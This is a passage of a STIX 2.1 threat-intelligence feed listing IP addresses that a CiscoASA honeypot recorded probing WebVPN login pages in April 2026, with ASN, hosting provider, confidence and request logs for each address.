      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: GET / HTTP/1.1\" 200 - geo: US; ASN 214238 (Host Telecom Ltd)",
      "id": "indicator--02e76525-a1fd-45af-afb3-bd10c19092ca",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-04-30T23:51:49Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 April 2026",
      "pattern": "[ipv4-addr:value = '172.120.40.75']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-12T02:20:11.000Z",
      "valid_until": "2026-05-14T02:20:09.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 70,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-04",
          "attack_count": 23,
          "first_seen": "2026-04-12T02:12:02.926Z",
          "last_seen": "2026-04-13T15:18:51.280Z",
          "country": "United States",
          "country_code": "US",
          "asn": 214238,
          "as_org": "Host Telecom Ltd",
          "event_types": [
            "Request timed out: TimeoutError(The read operation timed out)",
            "\"GET / HTTP/1.1\" 200 -",
            "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
            "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
            "\"POST /+webvpn+/index.html HTTP/1.1\" 200 -"
          ]
        }
      }
    },
    {
      "created": "2026-04-12T02:20:11.000Z",
      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: GET / HTTP/1.1\" 200 - geo: US; ASN 62240 (Clouvider Limited)",
      "id": "indicator--6f7c2545-8035-4d6f-9c1b-8f81176f0c1b",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-04-30T23:51:49Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 April 2026",
      "pattern": "[ipv4-addr:value = '172.120.53.76']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-12T02:20:11.000Z",
      "valid_until": "2026-05-14T02:20:09.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 70,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-04",
          "attack_count": 14,
          "first_seen": "2026-04-12T01:26:18.321Z",
          "last_seen": "2026-04-13T10:27:46.117Z",
          "country": "United States",
          "country_code": "US",
          "asn": 62240,
          "as_org": "Clouvider Limited",
          "event_types": [
            "\"GET / HTTP/1.1\" 200 -",
            "Request timed out: TimeoutError(The read operation timed out)",
            "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
            "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
            "\"POST /+webvpn+/index.html HTTP/1.1\" 200 -"
          ]
        }
      }
    },
    {
      "created": "2026-04-12T02:20:11.000Z",
      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: GET / HTTP/1.1\" 200 - geo: US; ASN 214238 (Host Telecom Ltd)",
      "id": "indicator--ffc16801-be83-4533-b807-78d74c98a506",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-04-30T23:51:49Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 April 2026",
      "pattern": "[ipv4-addr:value = '172.120.61.214']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-12T02:20:11.000Z",
      "valid_until": "2026-05-14T02:20:09.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 70,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-04",
          "attack_count": 7,
          "first_seen": "2026-04-12T01:33:04.894Z",
          "last_seen": "2026-04-12T01:33:17.200Z",
          "country": "United States",
          "country_code": "US",
          "asn": 214238,
          "as_org": "Host Telecom Ltd",
          "event_types": [
            "\"GET / HTTP/1.1\" 200 -",
            "Request timed out: TimeoutError(The read operation timed out)",
            "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
            "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
            "\"POST /+webvpn+/index.html HTTP/1.1\" 200 -"
          ]
        }
      }
    },
    {
      "created": "2026-04-12T02:20:11.000Z",
      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: GET /+CSCOE+/logon.html HTTP/1.1\" 302 - geo: US; ASN 11878 (tzulo, inc.)",
      "id": "indicator--b4819933-edd9-4547-9b27-348895cb7495",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-04-30T23:51:49Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 April 2026",
      "pattern": "[ipv4-addr:value = '173.249.255.236']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-12T02:20:11.000Z",
      "valid_until": "2026-05-14T02:20:09.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 70,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-04",
          "attack_count": 15,
          "first_seen": "2026-04-12T01:46:48.291Z",
          "last_seen": "2026-04-25T11:28:50.202Z",
          "country": "United States",
          "country_code": "US",
          "asn": 11878,
          "as_org": "tzulo, inc.",
          "event_types": [
            "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
            "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
            "\"POST /+webvpn+/index.html?fcadbadd=1 HTTP/1.1\" 200 -"
          ]
        }
      }
    },
    {
      "created": "2026-04-12T02:20:11.000Z",
      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: GET / HTTP/1.1\" 200 - geo: US; ASN 62240 (Clouvider Limited)",
      "id": "indicator--0b0d0b6c-110b-4a1a-b3bb-54241fdab0fa",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-04-30T23:51:49Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 April 2026",
      "pattern": "[ipv4-addr:value = '185.128.41.197']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-12T02:20:11.000Z",
      "valid_until": "2026-05-14T02:20:09.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 70,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-04",
          "attack_count": 14,
          "first_seen": "2026-04-12T01:47:54.560Z",
          "last_seen": "2026-04-12T02:08:01.126Z",
          "country": "United States",
          "country_code": "US",
          "asn": 62240,
          "as_org": "Clouvider Limited",
          "event_types": [
            "\"GET / HTTP/1.1\" 200 -",
            "Request timed out: TimeoutError(The read operation timed out)",
            "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
            "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
            "\"POST /+webvpn+/index.html HTTP/1.1\" 200 -"
          ]
        }
      }
    },
    {
      "created": "2026-04-12T02:20:11.000Z",
      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: GET / HTTP/1.1\" 200 - geo: US; ASN 62240 (Clouvider Limited)",
      "id": "indicator--5d9fb875-ae35-4fe1-aae5-4f1ef939c53d",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-04-30T23:51:49Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 April 2026",
      "pattern": "[ipv4-addr:value = '193.228.48.174']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-12T02:20:11.000Z",
      "valid_until": "2026-05-14T02:20:09.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 80,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-04",
          "attack_count": 43,
          "first_seen": "2026-04-12T02:14:00.041Z",
          "last_seen": "2026-04-13T17:11:57.104Z",
          "country": "United States",
          "country_code": "US",
          "asn": 62240,
          "as_org": "Clouvider Limited",
          "event_types": [
            "Request timed out: TimeoutError(The read operation timed out)",
            "\"GET / HTTP/1.1\" 200 -",
            "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
            "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
            "\"POST /+webvpn+/index.html HTTP/1.1\" 200 -"
          ]
        }
      }
    },
    {
      "created": "2026-04-12T02:20:11.000Z",
      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: GET / HTTP/1.1\" 200 - geo: US; ASN 62240 (Clouvider Limited)",
      "id": "indicator--60511fb2-6762-4e16-895e-cb470f1f5544",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-04-30T23:51:49Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 April 2026",
      "pattern": "[ipv4-addr:value = '195.69.161.102']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-12T02:20:11.000Z",
      "valid_until": "2026-05-14T02:20:09.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 80,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-04",
          "attack_count": 31,
          "first_seen": "2026-04-12T01:56:55.433Z",
          "last_seen": "2026-04-13T11:44:34.711Z",
          "country": "United States",
          "country_code": "US",
          "asn": 62240,
          "as_org": "Clouvider Limited",
          "event_types": [
            "Request timed out: TimeoutError(The read operation timed out)",
            "\"GET / HTTP/1.1\" 200 -",
            "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
            "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
            "\"POST /+webvpn+/index.html HTTP/1.1\" 200 -"
          ]
        }
      }
    },
    {
      "created": "2026-04-12T02:20:11.000Z",
      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: GET /+CSCOE+/logon.html HTTP/1.1\" 302 - geo: US; ASN 17243 (Byte Node LLC)",
      "id": "indicator--aa096d5f-660b-476d-bef2-3d84b08b3058",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-04-30T23:51:49Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 April 2026",
      "pattern": "[ipv4-addr:value = '23.159.216.61']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-12T02:20:11.000Z",
      "valid_until": "2026-05-14T02:20:09.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 70,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-04",
          "attack_count": 12,
          "first_seen": "2026-04-12T01:50:09.279Z",
          "last_seen": "2026-04-21T15:27:16.810Z",
          "country": "United States",
          "country_code": "US",
          "asn": 17243,
          "as_org": "Byte Node LLC",
          "event_types": [
            "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
            "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
            "\"POST /+webvpn+/index.html?fcadbadd=1 HTTP/1.1\" 200 -"
          ]
        }
      }
    },
    {
      "created": "2026-04-12T02:20:11.000Z",
      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: GET /+CSCOE+/logon.html HTTP/1.1\" 302 - geo: US; ASN 11878 (tzulo, inc.)",
      "id": "indicator--80cb48cb-b875-460c-b46f-95754e7242d4",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-04-30T23:51:49Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 April 2026",
      "pattern": "[ipv4-addr:value = '23.234.104.231']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-12T02:20:11.000Z",
      "valid_until": "2026-05-14T02:20:09.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 70,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-04",
          "attack_count": 21,
          "first_seen": "2026-04-12T01:39:15.676Z",
          "last_seen": "2026-04-23T14:21:43.585Z",
          "country": "United States",
          "country_code": "US",
          "asn": 11878,
          "as_org": "tzulo, inc.",
          "event_types": [
            "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
            "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
            "\"POST /+webvpn+/index.html?fcadbadd=1 HTTP/1.1\" 200 -"
          ]
        }
      }
    },
    {
      "created": "2026-04-12T02:20:11.000Z",
      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: GET /+CSCOE+/logon.html HTTP/1.1\" 302 - geo: US; ASN 11878 (tzulo, inc.)",
      "id": "indicator--072a7464-2a0e-48ec-abd7-dd0d8de50e1d",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-04-30T23:51:49Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 April 2026",
      "pattern": "[ipv4-addr:value = '23.234.88.48']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-12T02:20:11.000Z",
      "valid_until": "2026-05-14T02:20:09.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 70,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-04",
          "attack_count": 15,
          "first_seen": "2026-04-12T01:40:32.633Z",
          "last_seen": "2026-04-29T10:06:52.134Z",
          "country": "United States",
          "country_code": "US",
          "asn": 11878,
          "as_org": "tzulo, inc.",
          "event_types": [
            "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
            "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
            "\"POST /+webvpn+/index.html?fcadbadd=1 HTTP/1.1\" 200 -"
          ]
        }
      }
    },
    {
      "created": "2026-04-12T02:20:11.000Z",
      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: GET /+CSCOE+/logon.html HTTP/1.1\" 302 - geo: US; ASN 11878 (tzulo, inc.)",
      "id": "indicator--70ee38b0-0da0-474a-b780-32c797ebe29d",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-04-30T23:51:49Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 April 2026",
      "pattern": "[ipv4-addr:value = '23.234.95.175']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-12T02:20:11.000Z",
      "valid_until": "2026-05-14T02:20:09.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 80,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-04",
          "attack_count": 30,
          "first_seen": "2026-04-12T02:12:34.517Z",
          "last_seen": "2026-04-25T13:03:14.581Z",
          "country": "United States",
          "country_code": "US",
          "asn": 11878,
          "as_org": "tzulo, inc.",
          "event_types": [
            "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
            "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
            "\"POST /+webvpn+/index.html?fcadbadd=1 HTTP/1.1\" 200 -"
          ]
        }
      }
    },
    {
      "created": "2026-04-12T02:20:11.000Z",
      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: GET /+CSCOE+/logon.html HTTP/1.1\" 302 - geo: US; ASN 212238 (Datacamp Limited)",
      "id": "indicator--f8bdc110-5028-4eb4-bb5e-8e1b79f8b400",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-04-30T23:51:49Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 April 2026",
      "pattern": "[ipv4-addr:value = '37.19.200.149']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-12T02:20:11.000Z",
      "valid_until": "2026-05-14T02:20:09.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 70,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-04",
          "attack_count": 16,
          "first_seen": "2026-04-12T01:38:29.674Z",
          "last_seen": "2026-04-27T18:12:47.483Z",
          "country": "United States",
          "country_code": "US",
          "asn": 212238,
          "as_org": "Datacamp Limited",
          "event_types": [
            "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
            "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
            "\"POST /+webvpn+/index.html?fcadbadd=1 HTTP/1.1\" 200 -"
          ]
        }
      }
    },
    {
      "created": "2026-04-12T02:20:11.000Z",
      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: GET / HTTP/1.1\" 200 - geo: US; ASN 62240 (Clouvider Limited)",
      "id": "indicator--ac443c84-2458-4ec8-bbc8-1f2695dc2ce1",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-04-30T23:51:49Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 April 2026",
      "pattern": "[ipv4-addr:value = '45.159.126.201']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-12T02:20:11.000Z",
      "valid_until": "2026-05-14T02:20:09.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 70,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-04",
          "attack_count": 7,
          "first_seen": "2026-04-12T01:45:05.240Z",
          "last_seen": "2026-04-12T01:45:17.682Z",
          "country": "United States",
          "country_code": "US",
          "asn": 62240,
          "as_org": "Clouvider Limited",
          "event_types": [
            "\"GET / HTTP/1.1\" 200 -",
            "Request timed out: TimeoutError(The read operation timed out)",
            "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
            "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
            "\"POST /+webvpn+/index.html HTTP/1.1\" 200 -"
          ]
        }
      }
    },
    {
      "created": "2026-04-12T02:20:11.000Z",
      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: Request timed out: TimeoutError(The read operation timed out) geo: US; ASN 214238 (Host Telecom Ltd)",
      "id": "indicator--e01c4070-d738-415b-9724-9367331696dd",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-04-30T23:51:49Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 April 2026",
      "pattern": "[ipv4-addr:value = '45.39.194.102']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-12T02:20:11.000Z",
      "valid_until": "2026-05-14T02:20:09.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 80,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-04",
          "attack_count": 31,
          "first_seen": "2026-04-12T01:29:32.662Z",
          "last_seen": "2026-04-13T15:54:23.007Z",
          "country": "United States",
          "country_code": "US",
          "asn": 214238,
          "as_org": "Host Telecom Ltd",
          "event_types": [
            "Request timed out: TimeoutError(The read operation timed out)",
            "\"GET / HTTP/1.1\" 200 -",
            "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
            "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
            "\"POST /+webvpn+/index.html HTTP/1.1\" 200 -"
          ]
        }
      }
    },
    {
      "created": "2026-04-12T02:20:11.000Z",
      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: GET / HTTP/1.1\" 200 - geo: US; ASN 62240 (Clouvider Limited)",
      "id": "indicator--5ff84571-74bb-4491-9a54-6fdc426e9316",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-04-30T23:51:49Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 April 2026",
      "pattern": "[ipv4-addr:value = '5.252.188.154']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-12T02:20:11.000Z",
      "valid_until": "2026-05-14T02:20:09.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 70,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-04",
          "attack_count": 14,
          "first_seen": "2026-04-12T01:46:06.821Z",
          "last_seen": "2026-04-13T00:48:39.341Z",
          "country": "United States",
          "country_code": "US",
          "asn": 62240,
          "as_org": "Clouvider Limited",
          "event_types": [
            "\"GET / HTTP/1.1\" 200 -",
            "Request timed out: TimeoutError(The read operation timed out)",
            "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
            "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
            "\"POST /+webvpn+/index.html HTTP/1.1\" 200 -"
          ]
        }
      }
    },
    {
      "created": "2026-04-12T03:20:11.000Z",
      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: Request timed out: TimeoutError(The read operation timed out) geo: US; ASN 62240 (Clouvider Limited)",
      "id": "indicator--b2b89cc5-39ca-4aac-b37a-0e6f68b7c735",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-04-30T23:51:49Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 April 2026",
      "pattern": "[ipv4-addr:value = '138.249.131.202']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-12T03:20:11.000Z",
      "valid_until": "2026-05-14T03:20:10.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 80,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-04",
          "attack_count": 31,
          "first_seen": "2026-04-12T02:22:16.391Z",
          "last_seen": "2026-04-13T01:20:46.879Z",
          "country": "United States",
          "country_code": "US",
          "asn": 62240,
          "as_org": "Clouvider Limited",
          "event_types": [
            "Request timed out: TimeoutError(The read operation timed out)",
            "\"GET / HTTP/1.1\" 200 -",
            "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
            "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
            "\"POST /+webvpn+/index.html HTTP/1.1\" 200 -"
          ]
        }
      }
    },
    {
      "created": "2026-04-12T03:20:11.000Z",
      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: GET / HTTP/1.1\" 200 - geo: US; ASN 62240 (Clouvider Limited)",
      "id": "indicator--7780291d-0c17-4b21-8f91-569db4fa877a",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-04-30T23:51:49Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 April 2026",
      "pattern": "[ipv4-addr:value = '138.249.222.244']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-12T03:20:11.000Z",
      "valid_until": "2026-05-14T03:20:10.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 70,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-04",
          "attack_count": 7,
          "first_seen": "2026-04-12T02:25:16.480Z",
          "last_seen": "2026-04-12T02:25:28.193Z",
          "country": "United States",
          "country_code": "US",
          "asn": 62240,
          "as_org": "Clouvider Limited",
          "event_types": [
            "\"GET / HTTP/1.1\" 200 -",
            "Request timed out: TimeoutError(The read operation timed out)",
            "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
            "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
            "\"POST /+webvpn+/index.html HTTP/1.1\" 200 -"
          ]
        }
      }
    },
    {
      "created": "2026-04-12T03:20:11.000Z",
      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: GET / HTTP/1.1\" 200 - geo: US; ASN 62240 (Clouvider Limited)",
      "id": "indicator--24621869-0ca6-4ddc-9519-8474f9b7302b",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-04-30T23:51:49Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 April 2026",
      "pattern": "[ipv4-addr:value = '142.252.106.175']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-12T03:20:11.000Z",
      "valid_until": "2026-05-14T03:20:10.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 80,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-04",
          "attack_count": 28,
          "first_seen": "2026-04-12T02:39:40.125Z",
          "last_seen": "2026-04-13T17:33:18.382Z",
          "country": "United States",
          "country_code": "US",
          "asn": 62240,
          "as_org": "Clouvider Limited",
          "event_types": [
            "\"GET / HTTP/1.1\" 200 -",
            "Request timed out: TimeoutError(The read operation timed out)",
            "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
            "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
            "\"POST /+webvpn+/index.html HTTP/1.1\" 200 -"
          ]
        }
      }
    },
    {
      "created": "2026-04-12T03:20:11.000Z",
      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: GET / HTTP/1.1\" 200 - geo: US; ASN 214238 (Host Telecom Ltd)",
      "id": "indicator--2f5ce8e0-78b6-4560-886f-9245f8eae144",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-04-30T23:51:49Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 April 2026",
      "pattern": "[ipv4-addr:value = '142.252.121.146']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-12T03:20:11.000Z",
      "valid_until": "2026-05-14T03:20:10.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 70,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-04",
          "attack_count": 21,
          "first_seen": "2026-04-12T03:10:38.975Z",
          "last_seen": "2026-04-14T01:48:58.290Z",
          "country": "United States",
          "country_code": "US",
          "asn": 214238,
          "as_org": "Host Telecom Ltd",
          "event_types": [
            "\"GET / HTTP/1.1\" 200 -",
            "Request timed out: TimeoutError(The read operation timed out)",
            "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
            "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
            "\"POST /+webvpn+/index.html HTTP/1.1\" 200 -"
          ]
        }
      }
    },
    {
      "created": "2026-04-12T03:20:11.000Z",
      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: GET / HTTP/1.1\" 200 - geo: US; ASN 214238 (Host Telecom Ltd)",
      "id": "indicator--ba6ebed4-d91a-4337-8090-5ee1f86f12a7",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-04-30T23:51:49Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 April 2026",
      "pattern": "[ipv4-addr:value = '142.252.25.78']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
